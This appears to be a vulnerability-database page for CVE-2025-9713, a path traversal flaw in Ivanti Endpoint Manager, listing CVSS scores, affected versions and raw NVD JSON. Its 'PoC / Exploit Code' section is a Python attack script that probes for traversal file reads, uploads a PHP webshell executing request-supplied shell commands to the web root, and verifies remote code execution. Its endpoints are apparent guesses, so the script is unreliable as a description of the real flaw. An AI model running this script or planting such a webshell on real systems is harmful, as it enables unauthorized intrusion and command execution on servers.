Security Vulnerability Report
中文
CVE-2025-9713 CVSS 8.8 HIGH

CVE-2025-9713

Published: 2025-10-13 21:15:36
Last Modified: 2025-11-11 15:15:37
Source: 3c1d8aa1-5a33-4ea4-8992-aadd6440af75

Description

Path traversal in Ivanti Endpoint Manager before version 2024 SU4 allows a remote unauthenticated attacker to achieve remote code execution. User interaction is required.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:* - VULNERABLE
Ivanti Endpoint Manager < 2024 SU4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-9713 - Ivanti Endpoint Manager Path Traversal to RCE # Exploit concept for path traversal vulnerability in Ivanti EPM < 2024 SU4 import requests import sys TARGET_URL = "https://target-ivanti-epm.example.com" # Step 1: Path traversal payload to access sensitive files def path_traversal(target_url, traversal_path): """ Exploit path traversal to read arbitrary files from Ivanti EPM server """ # Common vulnerable endpoints in Ivanti EPM endpoints = [ "/ldms/loadfile", "/epm/fileupload", "/LANDesk/FileManagement/" ] headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } for endpoint in endpoints: url = f"{target_url}{endpoint}" # Path traversal payload using ../ sequences payload = { "filename": traversal_path, "path": f"../../../..{traversal_path}" } try: response = requests.get(url, params=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Potential file read via {endpoint}") return response.text except Exception as e: continue return None # Step 2: Attempt RCE via path traversal + file upload def rce_via_traversal(target_url): """ Attempt RCE by uploading a webshell through path traversal """ # Webshell payload webshell = """<?php if(isset($_REQUEST['cmd'])){ echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; } ?>""" # Traverse to web root traversal_upload_path = "../../../../inetpub/wwwroot/cmd.php" files = {'file': ('cmd.php', webshell, 'application/octet-stream')} data = {'upload_path': traversal_upload_path} upload_endpoints = [ "/ldms/upload", "/epm/uploadfile", "/FileUpload/UploadHandler.ashx" ] for endpoint in upload_endpoints: url = f"{target_url}{endpoint}" try: response = requests.post(url, files=files, data=data, verify=False, timeout=10) if response.status_code == 200: print(f"[+] Upload attempted to {endpoint}") # Verify webshell verify = requests.get(f"{target_url}/cmd.php?cmd=whoami", verify=False, timeout=10) if verify.status_code == 200 and "nt authority" in verify.text.lower(): print(f"[+] RCE Confirmed! Running as: {verify.text.strip()}") return True except Exception as e: continue return False if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL print(f"[*] Targeting: {target}") print("[*] Attempting path traversal...") result = path_traversal(target, "/windows/win.ini") if result: print(f"[+] Path traversal successful") print("[*] Attempting RCE...") rce_via_traversal(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9713", "sourceIdentifier": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "published": "2025-10-13T21:15:35.727", "lastModified": "2025-11-11T15:15:36.883", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Path traversal in Ivanti Endpoint Manager before version 2024 SU4 allows a remote unauthenticated attacker to achieve remote code execution. User interaction is required."}], "metrics": {"cvssMetricV31": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "7ABDE6FE-56CC-4A46-91F2-2F54C3EC6A75"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*", "matchCriteriaId": "6C7283FE-C10A-4E37-B004-15FB0CAC49A5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su1:*:*:*:*:*:*", "matchCriteriaId": "FC51EEA2-1C4C-4069-9704-7ACFE4773930"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su2:*:*:*:*:*:*", "matchCriteriaId": "E1EF5E1B-9377-49D3-9BE3-62FC78E666A3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3:*:*:*:*:*:*", "matchCriteriaId": "749AADDA-834D-4EC0-B7FF-E136FD1984F7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ivanti:endpoint_manager:2024:su3_security_release_1:*:*:*:*:*:*", "matchCriteriaId": "698BF7A1-62A1-45B5-BF08-AB3F3AA0245C"}]}]}], "references": [{"url": "https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-EPM-October-2025", "source": "3c1d8aa1-5a33-4ea4-8992-aadd6440af75", "tags": ["Vendor Advisory"]}]}}